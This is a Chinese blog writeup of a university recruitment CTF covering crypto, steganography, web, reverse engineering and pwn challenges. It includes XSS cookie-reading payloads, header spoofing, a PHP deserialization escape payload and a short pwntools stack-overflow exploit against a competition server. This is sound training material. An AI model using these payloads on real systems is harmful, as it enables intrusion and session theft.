20年9月wust招新赛writeup

Crypto

黑铁2

题目告诉了是大帝密码,所以用在线网站解密凯撒密码,key为3,得到flag{th3_m0st_e4sy_cae5ar}

黑铁1

很明显,栅栏密码,在线网站,key为5,得到flag{r4i1f3nce_1s_s0_e4sy}

青铜3

题目说了是维吉尼亚密码,还是网站,因为前四位解出来是flag,所以对照图表可知密钥是wust,得到flag{V1g3nere_1s_E4sy_T0o}

青铜5

题目给了个mess.zip文件,先下载解压,有俩文件
在这里插入图片描述分别打开看看,
在这里插入图片描述
在这里插入图片描述先看py文件,逻辑为把flag的每个字符都用ord()化为十进制存到digit里,然后遍历digit并摇随机数,如果是字符则插到目前的i后面,最后把digit作为文件puzzle.txt输出。所以就很简单了,删去txt里所有大小写字符,再将10进制码转到asc码即可得到flag{N0t_M3s5_At_Al1}

白银5

一个py文件,先下下来打开,
在这里插入图片描述逻辑很简单,flag每一位化十进制去进行运算得到了下面一堆数字,所以题目就是解方程。写一个小脚本爆破:

#include<iostream>
using namespace std;
int main()
{
    int a[] = {52624, 58960, 47619, 53655, 76375, 30099, 55747, 50592, 50592, 12291, 13303, 45687, 34935, 49591, 54696, 11800, 62263, 12291, 45687, 30099, 13824, 67968, 54696, 78867};
    for(int i=0;i < 24;i++)
    {
        for(int j = 1;j <= 200;j++)
        {
            if(5*j*j+6*j-8==a[i])
            {
                printf("%c",j);
                break;
            }
        }

    }
    return 0;
}

得到结果flag{Midd13_Sch0o1_M4th}

黄金3

题目给了个名叫txt的文件,下载后用txt打开空白,转用winhex打开
在这里插入图片描述没什么思路,看看hint可以转为莫斯密码,再看看规律,都是E2 80 8X的格式,一共3种,联想莫斯密码里 f 的敲法 点点杠点 ,可以知道,8C是(.),8D是(-),8B是空格( ),使用HxD将左边的复制到txt里,使用替换功能后得到
在这里插入图片描述使用网站得到flag{emp3r0r_s_f14g}

黄金2

打开文件,是rsa加密,数字很大,
在这里插入图片描述
百度查一查原理,并且安装python,还有gym2和libnum库,最后找一个大佬的脚本:

import libnum
import gmpy2
  
n=18280157194671942571015494684901214122560697613180339638222293506772512664722576801758653703792602877175187618595948795076683970411454506254879930157755902782872822685374989563004704889497361677517842097188409987575400418036720473565029712027455453046075039877401976732985958952069637408086770236162971746964035614355189082614741772140334021936478134367700265448164587623364834218388885972160277172417682794448493804529539758444836989081172585919444620657809626664143193993010909360470023443739745517930326204756866016624357654216731667304077791590435218059601325839189221251091745847444386743672022496569519608106839
e=65537
p = 130822883489571574200298332708454329466859834004266642411898725765631899889421488494547733991770508881627410988042928774203195604703029350949288100724975746839096867983836325450657236760959653803308771351268641116524149318446569259481566849122480788716520112601023509136851107256943231492183631633605127404459
q = 139732107312319931275310667311765646626278393979434501982566699339311008123977013786615122705537282457433215602829733712007491779544699649832415562575856174683056793987943809983444062217758810461393283238239078817867950175688402418116391749675813211549465447021779619051370822248800989704728960239745816194821
assert n==p*q
 
c=10697470734414650089481619087317137042276029274667710335154521291558330522485128302791342435968190121316054850903072829495092277958494227291526958904857365646076453630303861756577417960942325881685685019240710466793362521857803164310433306294499224003853070485359201317607231913023060787858690239590788105626886126315542534499405518212659061495232055214728744003053999885562788574886620111171972639787821427424513553287568048679544124343566852070949907306795821148235441909846327755577831036738256909157156481304199999086832324405054438842443836822508242643980774879984239801411172108240251805490697622059605238033968
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print (libnum.n2s(m))

python下运行,得到flag{Th3_Mo5t_Ea5y_R5a}

Misc

黑铁3

题目给了一个照片,先用winhex打开看看,划到底
在这里插入图片描述最下面就可以看到flag{W31c0m3_T0_Wu5t_A15}

白银3

又是一张图片,还是winhex
在这里插入图片描述这次没有flag,但是有个flag.txt,还有PK(压缩文件)可以确认是经典图片隐写,打开kali,文件扔进去,启用终端切换到桌面并使用binwalk,

binwalk fku.jpg

在这里插入图片描述可以看到一个藏了一个压缩文件:Zip archive data,里面就有flag.txt
使用命令:

dd if=fku.jpg of=myzip skip=22939 bs=1

将zip文件分离出来,
在这里插入图片描述再将压缩文件复制到windows桌面,修改后缀名为zip,打开解压发现要密码,使用软件进行爆破
在这里插入图片描述密码为9527,打开flag.txt

在这里插入图片描述没想到还有一关,这是brainfuck编码,使用网站,得到flag{Fuck_Y0u_D4mn}

铂金3

拿到文件发现是个打不开的gif,还是先上winhex
在这里插入图片描述没什么信息,但是文件头有点眼熟,百度一下gif文件的文件头,可以查到是47 49 46 38 39 61,“GIF89a”,再看看文件,只剩个39 61,“9a”,所以可以确定是个损坏的gif,使用winhex进行修复,文件头处反键,选择编辑->粘贴0字节,数目为4,之后直接点击00,输入数字进行修改
在这里插入图片描述在这里插入图片描述修改后ctrl+s保存,再回到桌面就可以双击打开文件了,文件最后闪过一个二维码,使用在线gif网站,得到二维码图片,
在这里插入图片描述但是,二维码缺少三个定位点,百度找二维码,截图,使用画图软件进行拼接,得到完整二维码后扫描得到一串字符:
MZWGCZ33I4YWM2BTGRSF6U3UGNTXGMBROYZV6QRUONSTGMT5
这是base32,使用网站转换得到flag{G1fh34d_St3gs01v3_B4se32}

黄金1

文件又是一张图,老规矩winhex
在这里插入图片描述果然又有PK和ok.txt文件,kali binwalk走一趟,分离,解压,这次没密码,得到了ok.txt
在这里插入图片描述能看出是brainfuck加密,但数字不是很懂,使用网站试试flag四个字符的brainfuck加密,发现了规律,(20.)就是20个点(.)别的依次类推,这里上一个自己的辣鸡脚本:

#include<iostream>
using namespace std;

int main()
{
    int a[] = {20,'.','!','?',2,'!','.','?',20,'.','?','.','?','!','.','?',4,'.','!',3,'.',
10,'.','!','.','?',7,'.','!','?',2,'!','.','?',6,'!','?','.','?','!','.','?',5,'!',13,'.','!','.','?','.',
8,'.','!','?',2,'!','.','?',8,'.','?','.','?','!','.','?',8,'.','!','.','?',13,'.','!','?',2,'!','.','?',2,'!',
10,'!','?','.','?','!','.','?','!','.','?',11,'.','!','?',2,'!','.','?',10,'!','?','.','?','!','.','?',8,'!',
13,'!','.','?',15,'.','!','?',2,'!','.','?',14,'.','?','.','?','!','.','?',4,'.',
14,'.','!','.','?',7,'.','!','?',2,'!','.','?',6,'!','?','.','?','!','.','?',13,'!','.','?',3,'.',
4,'.','!','?',2,'!','.','?',6,'!','?','.','?','!','.','?',11,'!','.','?',13,'.','!','?',2,'!','.','?',6,'.',
6,'.','?','.','?','!','.','?','!','.','?',17,'.','!','?',2,'!','.','?',16,'!','?','.','?','!','.','?',
3,'!','.','?',15,'.','!','?',2,'!','.','?',14,'.','?','.','?','!','.','?',14,'.',
4,'.','!','.','?',7,'.','!','?',2,'!','.','?',6,'!','?','.','?','!','.','?',13,'!','.','?',9,'.','!','?',2,'!',
'.','?',8,'!','?','.','?','!','.','?','!','.','?',11,'.','!','?',2,'!','.','?',10,'!','?','.','?','!','.','?',8,'!',
5,'!','.','?',15,'.','!','?',2,'!','.','?',14,'.','?','.','?','!','.','?',12,'.',
16,'.','!','.','?',9,'.','!','?',2,'!','.','?',8,'!','?','.','?','!','.','?','!','.','?',9,'.',
'!','?',2,'!','.','?',8,'!','?','.','?','!','.','?',11,'!','.','?',9,'.','!','?',2,'!','.','?',8,'.','?','.','?','!',
'.','?',16,'.','!','.',7,'!','.','?',9,'.','!','?',2,'!','.','?',8,'!','?','.','?','!','.','?',2,'!',
7,'!','.','?',11,'.','!','?',2,'!','.','?',10,'.','?','.','?','!','.','?',14,'.','!','.','?','.',
8,'.','!','?',2,'!','.','?',8,'.','?','.','?','!','.','?',4,'.','!','.','?','.'};
    for(int i=0;i < 458;i++)
    {
        if(1<=a[i]&&a[i]<=20)
        {
            for(int j=1;j<=a[i]-1;j++)
            printf("%c",a[i+1]);
        }
        else
        printf("%c",a[i]);
    }

    return 0;
}

将输出用brainfuck解码后得到flag{W4n_Qu4n_O0o_Jb_Kk}

铂金2

下载文件后得到一个压缩包和一个音频,压缩包是要密码的,所以听听音频,很明显倒放过了,用Audacity倒放回来,再听一次,开头是个摩斯密码,看音轨
在这里插入图片描述开头就是长短短短短,依次类推,对照表后得出压缩密码是666wust999,打开压缩包,里面俩文件,分别打开看看
在这里插入图片描述在这里插入图片描述看看py逻辑,对flag的每个字符都转十进制再加上一个随机数x,接着转16进制赋给chuti,然后遍历chuti,跨度为4,将每四位的后两位给tigan(就是去掉所有0x)最后输出文档tigan.txt。所以把tigan.txt里的数转为十进制,再写个脚本试出随机数x的值就行了(flag内容有意义),因为x是10~30,所以我数组里放的值是已经-10后的,循环20次到-30就行:

#include<iostream>
using namespace std;
int main()
{
    int a[23] = {85,128,62,131,126,109,97,118,63,116,130,109,66,124,114,109,81,62,124,132,65,128,130};
    int n=0;
    while(n < 20)
    {
      for(int i=0;i < 23;i++)
    {
         printf("%c",a[i]);
         a[i]--; 
         
    }
     n++;
    cout<<"\n";
    }
    return 0;
}

在输出结果中挑个能看的
在这里插入图片描述所以得到flag{Gr0up_Sh1ft_4nd_C0nv3rt}

Web

青铜2

题目环境是个php源码,逻辑也很简单,
在这里插入图片描述在地址栏加上?wust=ais即可拿到flag{G3t_Of_Ht7p}

青铜1

又是php源码,看懂逻辑,F12使用hackbar
在这里插入图片描述post发送请求wu5t=a1s即可拿到flag{P05t_0f_H7tp}

白银3

题目说认证消息md5值要相同,使用md5值生成网站得到QNKCDZO,接下来寻找xss漏洞,使用命令

<script>alert("1")</script>

如果弹出框,则有xss漏洞。将代码插入username时,回车,成功弹框
在这里插入图片描述之后在username里输入

<script>alert(document.cookie)</script>

在这里插入图片描述拿到flag{Xss_1s_S0_E4sy_R1gh7?}

白银2

题目环境打开后,根据hint,在网址后加上/.idea/
在这里插入图片描述打开workspace.xml文件夹,看到线索
在这里插入图片描述输入到地址栏中
在这里插入图片描述发现只有本地用户才可以登,用burpsuite抓包,send to Repeater并插入headers:X-Forwarded-For 127.0.0.1
在这里插入图片描述send
在这里插入图片描述显示并不是wust浏览器,所以将User-Agent改为WUST
在这里插入图片描述调试成功,再次抓包,将proxy里进行相同的操作,之后forward,接着浏览器变成了这样
在这里插入图片描述可以看到有反序列化,还有post请求,加上之前看到过文件名为flag.php,
所以hackbar发送post请求

wust=O:4:"wust":1:{s:8:"filename";s:8:"flag.php";}

并进行抓包,抓到包后进行之前的操作:将User-Agent改为WUST,并在headers插入X-Forwarded-For 127.0.0.1
之后点击forward打开网页,按下F12
在这里插入图片描述拿到flag{Php5t0rm_1s_S0_N1c3}

大师1

打开题目环境,GetSource,是一段php源码,重点看这部分
在这里插入图片描述将user对象序列化进行过滤,再反序列化回来调用getVertify()函数,返回值如果是admin,就输出flag,但是看到user类里默认是创建guest身份
在这里插入图片描述所以要利用过滤函数,将身份进行修改,也就是hint里说的反序列化字符逃逸,原理是过滤函数会将关键字替换为hacker(6位),而我们post发送若干个union(5位)并在后面接上我们需要逃逸的字符串,在过滤时每将一个union变为hacker,就会使插入的字符逃逸出去一个。我们的目的是改变Vertify的属性,又因为它是protected属性,所以构造语句为

";s:10:"%00*%00vertify";O:5:"admin":0:{}}

一共37位,所以前面需要37个union,使用burpsuite抓包post请求,发送代码:
在这里插入图片描述得到flag{easy_serialize_char_Escape}

Reverse

白银4

下载得到一个pyc文件,使用网站python反编译打开文件
在这里插入图片描述看看逻辑,发现是顺着的,加一行代码
在这里插入图片描述拿到flag{Y0u_Jus7_N3ed_T0_Add_One_l1ne_Of_C0de}

青铜4

下载文件,扔进ida,看看逻辑,很明显思路在check函数里
在这里插入图片描述倒着看,如果v4[]=flag[],则输出“flag正确”,而v4是flag的每一位*8 +16 再与0x10u取异或得到的。之后只要知道flag[]的内容就知道了,双击flag,将数据类型转为dd
在这里插入图片描述shift+E进行导出
在这里插入图片描述接下来写一个小脚本

#include<iostream>
using namespace std;

int main()
{
    int x;
    int a[] = {848,864,776,856,1016,688,808,792,392,424792,696,384,920,920,920,920,920,920,920,920,920,792,696,840,872,896,864,808,1000};
    for(int i=0;i < 29;i++)
    {
        x = a[i]^0x10u;
        x = x-16;
        x = x/8;
        printf("%c",x);

    }
    return 0;
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200913132923338.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNTkwMTU2,size_16,color_FFFFFF,t_70#pic_center)

}

得到flag{Re_1gS0ooooooooo_Simple}

黄金4

下载文件,扔进ida看main
在这里插入图片描述盘一盘逻辑,要求的是s[],且num2=num3,所以要查看num和num3,双击导出,再写个脚本

#include<iostream>
using namespace std;

int main()
{
    int x;
    int num2[] = {125,94,108,48,126,104,114,124,41,111,102,62,60,82,107,110,98,103,119,36,124,116,115,112,118,70,127,68,110};
    int num[] = {9,10,15,23, 7,24,12, 6, 1,16, 3,17,14,28,11,18,27,22, 4,13,19,20,21,2,25,5,26,8};
    int s[29];
    for(int i=0;i < 29;i++)
    {
       s[i] = num2[num[i]]^num[i];
       printf("%c",s[i]);
    }
    return 0;
 
}

运行拿到flag{n0t_r3ver5e_ez_7han_me!}

铂金4

下载文件,提示说了是迷宫,先用ida打开看看
在这里插入图片描述顺序是输入flag,给了v9,下面一堆重点是move()函数返回值必须为1,还有a[a1]要等于87,不是很懂,先看看a[]数组,双击导出,
在这里插入图片描述emmmm一堆80,90,看不懂,但是有个眼熟的东西:87,先记着,接着去看看move()函数
在这里插入图片描述这一眼看过去也奇奇怪怪的,哪来的65,87,68,83?看看提示,上上下下,再看看ascii表,原来这几个数字是W87 A65 S83 D68,对应上左下右,又发现上下移动是+8和-8,所以应该是个一排8个数的矩阵,再看返回值,a[::a1]=80就返回1,在联想刚刚输出的a[]的文本,稍微调一下排版变为8*8矩阵
在这里插入图片描述再想想题目叫迷宫,操作是上下左右走,刚刚又记住了走到87就是正确的答案,返回值一直要为1
所以就很明白了,走迷宫,80是路,90是墙,87是出口,输入的操作大写即为flag,即
在这里插入图片描述所以flag{DSSDSSSDDWWDDDS}

钻石4

下载文件用ida打开,发现啥也没有,应该是有壳,查一下
在这里插入图片描述Detected UPX,果然有壳,扔进虚拟机,使用指令

upx -d ezbabyre

在这里插入图片描述完成脱壳,拿回windows,再用ida打开,这次啥都出来了,看完main,flag和check1 2 3函数发现和flag都没关系,,,只能找别的,再往下看,发现一个there函数,看看先,

在这里插入图片描述这个就非常像flag,输入flag给v4,要求v4处理后=v0=f[],所以拿到f[]这题就出来了,双击,导出为字符串:

egbbxr3r\tLp\b0o\mf\o,zZEgbb~

写一个脚本,因为有\,多加一个\避免被当成转义字符,

#include<iostream>
#include<cstring>
using namespace std;

int main()
{
  string a = "egbbxr3r\\tLp\\b0o\\mf\\o,zZEgbb~";

    for ( int i = 0; i <= 28; ++i )
  {
    if ( i & 1 )
      a[i] += 5;
    else
      a[i] ^= 3u;
  }

cout<<a<<endl;

 
  return 0;
}

运行,拿到flag{w0w_yOu_g3t_real1y_Flag}

Pwn

铂金1

题目写着打到10000分就可以拿到flag,这里不这么做,在开始游戏之前不按y,输入一串wasd的乱码,即可直接拿flag(应该是个bug)
在这里插入图片描述ls列表
在这里插入图片描述cat一下,拿到flag{7733504d-3936-4d90-b512-46eaa1c9e3ac}

钻石3

直接连,输入/bin/sh
在这里插入图片描述拿到flag{532960a5-840b-4dfd-aae1-3f8304d56a65}

钻石2

还是直接连,输入sh,在输入/bin/sh
在这里插入图片描述拿到flag{2a50cd3a-6e3d-4b1b-88e1-2b9b25a878e9}

钻石1

下载文件,用ida打开 ,逻辑很简单,在func里利用栈溢出覆盖掉原来的a1的数即可,双击s看看栈,+0x28到-0x8是48个,所以写一个脚本,把-889275714转为16进制:0xCAFEBABE

from pwn import *
p = remote("175.24.81.163",10003)
payload = 'A'*48+p32(0xCAFEBABE)
print payload
p.sendlineafter("overflow me",payload)
p.interactive()

扔到ubuntu里,python运行,
在这里插入图片描述拿到flag{2a058046-d92d-4239-bcf4-37746a5a32ae}

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
该资源内项目源码是个人的课程设计、毕业设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。 该资源内项目源码是个人的课程设计,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值